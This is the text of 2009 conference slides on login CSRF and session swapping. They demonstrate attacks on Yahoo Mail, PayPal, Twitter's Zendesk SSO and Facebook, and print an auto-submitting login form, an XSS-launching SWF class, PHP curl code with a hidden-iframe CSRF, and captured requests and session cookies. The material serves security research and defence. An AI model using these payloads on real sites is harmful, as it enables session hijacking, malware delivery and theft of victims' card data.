Biting the Hand that Feeds You (Reloaded)

Billy K Rios
HITB 2009 - Dubai
Background

• Defcon 15 – “Biting the Hand that Feeds You”

• Robust Defenses Against CSRF
  – Jackson, Barth, and Mitchell.

• Many websites were affected with custom attacks for each domain

• We’ll finish with some examples on Twitter and Facebook
Biting the Hand that Feeds You

• Original version was presented at Defcon 15
• Web security decisions are based upon Domain Name
  – Same Origin Policy
  – Phishing
  – Crossdomain.xml, Java Applets, Silverlight
  – Plugins (NoScript)
Biting the Hand that Feeds You

• Abusing well known domain names to serve malicious content
• Demos using Yahoo Mail and Gmail, but others were affected as well
• Malicious Executables, Crossdomain.xml, and Java Applets were demo'd
Hi There!

We'll get you set up on Yahoo! in three easy steps! Just answer a few simple questions, select an ID and password, and you'll be all set.

1. Tell us about yourself...

My Name First Name Last Name

Gender - Select One -

Birthday - Select Month - Day Year

I live in United States

Postal Code

2. Select an ID and password

Yahoo! ID and Email @yahoo.com

Password
Attachments

The following file has been attached:

- PwDump.exe (228k) [Remove] No virus threat detected

Attach More Files
<html>
<body>

<form name="getSession" target="_blank" method="POST"
    action="https://login.yahoo.com/config/login?">
    <input type="hidden" name=".done" value="http://mail.yahoo.com" />
    <input type="hidden" name="login" value="ATTACKERACCOUNT@yahoo.com" />
    <input type="hidden" name="passwd" value="ATTACKERPASSWORD" />
    <input type="hidden" name=".save" value="sign+in" />
</form>

<script>
    document.getSession.submit();
</script>

</body>
</html>
What just happened?

• The attacker pushed an iframe to the victims browser
• The attacker used the iframe to POST valid credentials to the server (CSRF)
• The server verifies the credentials belong to a valid user and authenticates the user within the application logic
What just happened?

• The server issues a SET-COOKIE, giving the victim’s browser access to the attacker account

• The attacker knows the location for various malicious payload within their own account

• The attacker pushes a second CSRF which requests a malicious file/attachment/content
Do you want to run or save this file?

Name: PwDump.exe
Type: Application
From: f574.mail.yahoo.com

Run  Save  Cancel

While files from the Internet can be useful, this file type can potentially harm your computer. If you do not trust the source, do not run or save this software. What's the risk?
Serving content from popular domains

• Helps get past phishing filters

• Any domain whitelist/blacklist can be circumvented

• Flash Crossdomain.xml and Java applets made things interesting
Robust Defenses against CSRF

- Adam Barth, Colin Jackson, John Mitchell

- Presented various CSRF scenarios and two attacks using “Login CSRF”

- The authors presented an attack against Web History features and Paypal
Stanford Examples

Attacker registers a PayPal account

User logs into PayPal and attempts to add a new Credit Card

Attacker

Victim
Add Credit or Debit Card

Debit Cards (also called check cards, ATM cards, or banking cards) are accepted if they have a Visa or MasterCard logo.

Number of cards active on your account: 1

*First Name: Victim
*Last Name: Victim
*Card Type: American Express
*Card Number: 1234-1234-12341234
*Expiration Date: 01 2009
*Card Verification Number: 1234

(On the back of your card, find the last 3 digits)

Help finding your Card Verification Number | Using AmEx?
BEFORE the submit button is pressed, the attacker uses an iframe to POST the attackers creds to PayPal

The victim receives the iframe from the attacker and the victim’s browser automatically submits the login to PayPal (with the attackers creds)
Stanford Examples

The attacker retrieves the new credit card from THEIR account!

Attacker

PayPal validates the creds, and sends a new session cookie. The Victim is now logged in as the attacker.

Victim

The Victim presses the SUBMIT button and submits the new credit card info to PayPal.
IMHO

• Disparity between two different security models

• Browser security model is very focused on Same Origin Policy

• Application security model is based on authentication and sessions
• When a user/attacker provides credentials to the application, the application verifies that the credentials are valid (authentication)

• Once the authentication process is complete, the server then establishes the boundaries for that particular user (authorization)

• The server tracks this “contract” by issuing the client a session cookie
IMHO

- The contract changes several times throughout the course of a browser life (each logout/login) is a change in the contract.

- The browser doesn’t care about any contracts established between the user and the application, it merely enforces the protection mechanisms for cookies and content.
Places to Watch for

- Login forms that don’t protect against CSRF
- SSO option and Forms based login option
- Tokens being passed from one domain to another
Welcome to Twitter Support!
Submitted Jan 14 in Getting Started

We're here to help
Welcome to Twitter Support! The Twitter support team is here to help you solve your problems and find answers to your questions. Who are we? Caroline, Mark, Del, and Crista. Follow us on Twitter, we're here to help!

Twitter Support has a quite a backlog of requests right now, so getting a response to your questions may take 5-7 business days. Please look at the Help Resources for answers to your questions, and if you are looking for something you don't find, let us know so we can add it for others who might be wondering the same thing.

Using Help Resources
Twitter’s help resources are always accessible in the sidebar of your Support home page. We’ve got the basics but we’re adding more if there is something you’d like to see that’s not here yet, log in and submit a feature request. We’d love to hear your feedback about making help as helpful as possible.

- Getting Started New to Twitter? Check out our Getting Started articles to get a feel for the basics.
- How To Information If you’re not sure how to do something, find it here! If you can’t find it, try using the search box.
- Known Issues Find out what problems or bugs affect Twitter people today.
- Trouble Shooting Check out common problems, and how to resolve them.
- Terms of Service and Rules and Policies Use our Rules and Policies section to learn about what Twitter does about Spam, Impersonation, Trademark, Copyright and other Terms of Service or Rules violations, and find out what you need to do to resolve a violation.
- Get Satisfaction: to get help from other people who use Twitter, use the Get Satisfaction widget in the sidebar to get help from other people who use Twitter. (Note: Twitter does not officially support Get Satisfaction. If you need help from Twitter, you can find it here.)

What's New?
Important Announcements: When you click Help from the Twitter website, you’ll be taken to your Twitter Support home page. The home page will always have...
sessionswap1 | change password | logout
GET /access/remote/?name=sessionswap1&email=sessionswap%40mailinator.com&external_id=21846953&timestamp=1235936930&hash=089ed9695bb94dfa93b7836a6f5e8b57 HTTP/1.1
Host: twitter.zendesk.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://help.twitter.com/portal
Cookie: _love_your_new_zendesk_session=c1b8142944d15142eda5c3e51336bf8d
Classic SSO scenario

- Take information from Application A
- Authenticate to Application B
- Avoid Passing credentials
- Use a token instead
- App B trusts the tokens passed
ZenDesk SSO

• Name=
• Email=
• External_id=
• Timestamp=

• Hash=
  • This hash value is based on the items above and a shared secret
Submit a request

Dear Twitter, I have *

Regarding
Twitter on the web

Tell us more: sharing is caring! *

To expedite your request, don't be stingy with the details. Help us help you by telling us as much as you can, especially if you're having a problem: Browser information, user names, steps taken, and thorough descriptions of what did (or didn't) happen are things we're quite interested in.

One request is enough; sending multiple requests will not get you a faster answer. It will delay a response by placing your requests together at the end of the queue. You can update an open ticket with new information by checking on your request and adding a comment.

Hint: the fastest way to report spam is to follow Twitter's @spam account and send us a direct message with the spammer's user name.

Be REALLY Careful about XSS Exposures

I feel:
Like Stealing Twitter Sessions

Attachment(s)

Submit

Welcome!
Welcome to Twitter Support.
Find answers to your questions using our Help Resources.
If you still can't find what you're looking for, or need to report a problem not listed in Known Issues, submit a help ticket.
* Submit a support request
* Check on open requests
If you can't log in to submit a ticket, send your request to support@twitter.com
Take me back to Twitter proper

Help Resources
- Getting Started (18)
- How-To Information (14)
- Trouble Shooting (16)
- Known Issues (19)
- Terms of Service and Rules policies (11)
Search

Submit a request

Dear Twitter, I have *

feature request/idea ▼

Regarding

Twitter on the web ▼

Tell us more: sharing is caring! *

To expedite your request, don't be stingy with the details. Help us help you by providing information, user names, steps taken, and thorough descriptions of what you're seeing.

One request is enough: sending multiple requests will not get you a faster response. You can update an open ticket with new information by checking on your request.

Hint: the fastest way to report spam is to follow Twitter's @spam account and report the spam directly to them.

Be REALLY Careful about XSS Exposures
I feel:
Like Stealing Twitter Sessions

Attachment(s)
TwitXSS.swf (delete)
class TwitXSS {
    static function main(mc) {
        getURL("javascript:" + escape(_root.getUrlAddy) );
    }
}
Problem

• The SWF file is only available to the Attacker Account (SessionSwap1)

• Self XSS?

• Launch the XSS and wait for the user to log in?
GET /access/remote/?name=sessionswap1&email=sessionswap%40mailinator.com&external_id=21846953&timestamp=1235936930&hash=089ed9695bb94dfa93b7836a6f5e8b57 HTTP/1.1
Host: twitter.zendesk.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://help.twitter.com/portal
Cookie: _love_your_new_zendesk_session=c1b8142944d15142eda5c3e51336bf8d
Authenticate to Twitter using the Attackers Creds, initiate SSO to Zendesk

Attacker

Twitter passes the SSO token back to the Attacker (hash=)

Victim
// The POST URL and parameters
$request = 'https://twitter.com/sessions';
$username = 'sessionswap1';
$password = 'sessionswaps-Password';
$postargs = 'authenticity_token='. $passedtoken . '&session%5Busername_or_email%5D=' . $username . '&session%5Bpassword%5D=' . $password . '&session%5Bremember_me%5D=true';

// Get the curl session object
$session2 = curl_init($request);

// Set the POST options.
curl_setopt($session2, CURLOPT_POST, true);
curl_setopt($session2, CURLOPT_POSTFIELDS, $postargs);
curl_setopt($session2, CURLOPT_CONNECTTIMEOUT, 2);
curl_setopt($session2, CURLOPT_HEADER, true);
curl_setopt($session2, CURLOPT_COOKIE, $currentcookie);
curl_setopt($session2, CURLOPT_REFERER, 'https://twitter.com/');
curl_setopt($session2, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows U; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0');
curl_setopt($session2, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));
curl_setopt($session2, CURLOPT_RETURNTRANSFER, true);
The Attacker passes the SSO link to the Victim via Iframe (CSRF)
$SSOU1 = getSSO($zendstuff[timestamp], $realsession.$zendstuff[zencookie]).";";
echo "<iframe src='http://help.twitter.com/".$SSOU1."' height='1' width='1'></iframe>";
The SSO CSRF is passed by the Victims Browser to Twitter

Twitter issues a new Zendesk session cookie to the Victims Browser
What are you doing in the box above? Be friends and follow what they're doing.
Your mobile phone to update your friends on the go.
The page at http://help.twitter.com says:

utra=43838368.128987157638328550.1236360104.1236370944.1236371824.3; _utmz=43838368.1236360104.11.utmcsr=(direct)|utmccr=(direct)|utmcmd=(none)

_twitter_sess=BAh7CcaoOcmVdXJuX3RvYihodHRwOi8vdmFidpdfHRlc3sb2vOhNwYXNzd29y%250A2Z90b2tiblZGMcYjZNDc4MGMwZDI1MjBmNcg5YzE1ODRhOWef88a24e560983935a77fcd6d7043795a3a738e; _utmca=43838368; _love_your_new_zendesk_session=bfb18e11125035e5ec7a809bba34e4bd
Facebook

• How CSRF protection mechanisms come into play

• Ajax-y behavior can complicate things

• These are UI/Design issues
User logs into Facebook and attempts to add a new Credit Card

Attacker registers a Facebook account

Attacker

Victim
My Account

You have no cards associated with your account.

Back to Account Page | Add a new card below:

First Name:       Sessionswap
Last Name:        Session
Credit Card Type: Visa
Credit Card Number:
Expiration Date:  09  2009
CSC Code:         123 (What's this?)
Billing Address:  Billing Addr
Billing Address 2:
City/Town:        New York
State/Province/Region: NY
Zip/Postal Code:
Country:          United States

Save
BEFORE the submit button is pressed, the attacker uses an iframe to POST the attackers creds to Facebook
The victim receives the iframe from the attacker and the victim’s browser automatically submits the login to Facebook (with the attackers creds).

Facebook validates the creds, and sends a new session cookie. The Victim is now logged in as the attacker.
The Victim presses the SUBMIT button and submits the new credit card info to Facebook.
Please only submit forms when properly logged in and do not click on malicious links.

You have no cards associated with your account.

Add a new card below:

- **First Name:** Sessions
- **Last Name:** Swap
- **Credit Card Type:** Visa
- **Credit Card Number:**
- **Expiration Date:** 09/2009
- **CSC Code:**
- **Billing Address:** Billing Addy
- **City/Town:** New York
- **State/Province/Region:** NY
- **Zip/Postal Code:** 10121
- **Country:** United States

[Save]
Please only submit forms when properly logged in and do not click on malicious links.

You have no cards associated with your account.
Stanford Examples

The Attacker retrieves the Credit Card data from THEIR Facebook account

Facebook shows the CSRF error and generates a new token for the victim

The Victim resubmits the credit card data to Facebook
CSRF Protections?

• New tokens are generated
• Ajax request occurring in the background
  • How are CSRF validation failures handled?
  • Failures silent?
• Appropriate Error messages?
• It may be easier to defend Forced Login/Session Swapping
Questions?